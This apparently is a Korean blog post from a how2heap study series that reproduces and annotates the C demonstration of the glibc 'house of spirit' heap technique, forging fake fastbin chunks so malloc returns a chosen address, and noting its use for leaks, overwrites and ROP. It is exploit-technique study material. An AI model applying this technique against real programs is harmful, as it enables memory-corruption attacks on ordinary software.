#include "stdio.h"
#include "stdlib.h"

int main()
{
	printf("This file demonstrates the house of spirit attack.\n");

	printf("Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
	unsigned long long *a;
	unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

	printf("This region must contain two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[7]);

	printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size

	printf("The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .\n");
	fake_chunks[9] = 0x2240; // nextsize

	printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
	printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
	a = &fake_chunks[2];

	printf("Freeing the overwritten pointer.\n");
	free(a);

	printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	printf("malloc(0x30): %p\n", malloc(0x30));
}



This file demonstrates the house of spirit attack.

이 파일은 the house of sprit attack을 설명한다


Calling malloc() once so that it sets up its memory

malloc을 한번 호출해서 메모리를 설정하자

malloc(1);

We will now overwrite a pointer to point to a fake 'fastbin' region.

우리는 이제 가짜 'fastbin' 영역을 가리키는 포인터로 포인터를 overwrite할 것이다

unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

This region must contain two chunks. The first starts at 0x7ffd9453c718(&fake_chunk[1]) and the second at 0x7ffd9453c748(&fake_chunk[7].

이 영역은 반드시 두개의 chunk를 가진다. 첫번째는  0x7ffd9453c718(&fake_chunk[1])에서 시작 두번째는 0x7ffd9453c748(&fake_chunk[7]에서 시작


This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). 

이 영역의 청크 사이즈는 fastbin 카테고리로 떨어지는 영역보다 큰 16바이트이상이어야한다(chunk data를 수용하기위해)


The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.

prev_inuse 플래그 비트는 fastbin-sized chunk를 위한 free로 인해 무시되어진다. 그러나 is_mapped 플래그와 non_main_arena 플래그는 문제를 일으킨다


... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. 

이것이 malloc 구현에서 사용된 내부크기로 반올림된 다음malloc요청의 사이즈가 되야한다. 

예 : x64에서 0x30-0x38은 모두 0x40으로 반올림되므로 끝에있는 malloc 매개 변수에 사용할 수 있다.

fake_chunks[1] = 0x40; // this is the size


The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .

다음 fake 영역의 청크사이즈는 2*SIZE_SZ(64에서 16바이트) 보다 커야한다. 그러나 av->system_mem(메인의 주영역의 기본값에 의한 128kb)보다는 작아야한다. nextsize의 무결성체크를 통과하기 위해서

fake_chunks[9] = 0x2240; // nextsize

Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffd9453c718(fake chunks[1]).

이제 우리는 우리의 포인터를 fake first chunk안에 있는 fake region의 주소로 덮어쓸 것이다.


... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.

이 청크와 관련된 영역의 메모리 주소가 할당된 16바이트여야함을 명심해라

a = &fake_chunks[2];

Freeing the overwritten pointer.

덮어쓴 포인터를 free한다

free(a);


Now the next malloc will return the region of our fake chunk at 0x7ffd9453c718(fake chunks[1]), which will be 0x7ffd9453c720(fake chunks[2])!

이제 다음 malloc은 0x7ffd9453c718(fake chunk[1])에 있는 우리의 fake chunk의 영역으로 갈것이다. 그리고 이것은 0x7ffd9453c720(Fake chunks[2])가 될 것이다.


printf("malloc(0x30): %p\n", malloc(0x30));

---->malloc(0x30): 0x7ffd9453c720




+추가

결국 이기법은 malloc으로 할당되는 영역을 heap이 아니라 다른영역으로 옮길수 있다는 것인데 이를 이용한 시나리오는

bss영역으로 옮겨서 leak, overwrite에 사용하거나 stack으로 옮겨서 rop하는 정도가 될 것 같다.

'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap 정리]fast_bin_dup_into_stack  (0) 2017.01.07
[how2heap 정리]fastbin_dup  (0) 2017.01.06
[how2heap정리] unsorted_bin_attack  (0) 2016.12.28
[how2heap]unsafe_unlink  (0) 2016.12.16
[how2heap정리]house of force  (0) 2016.12.15

+ Recent posts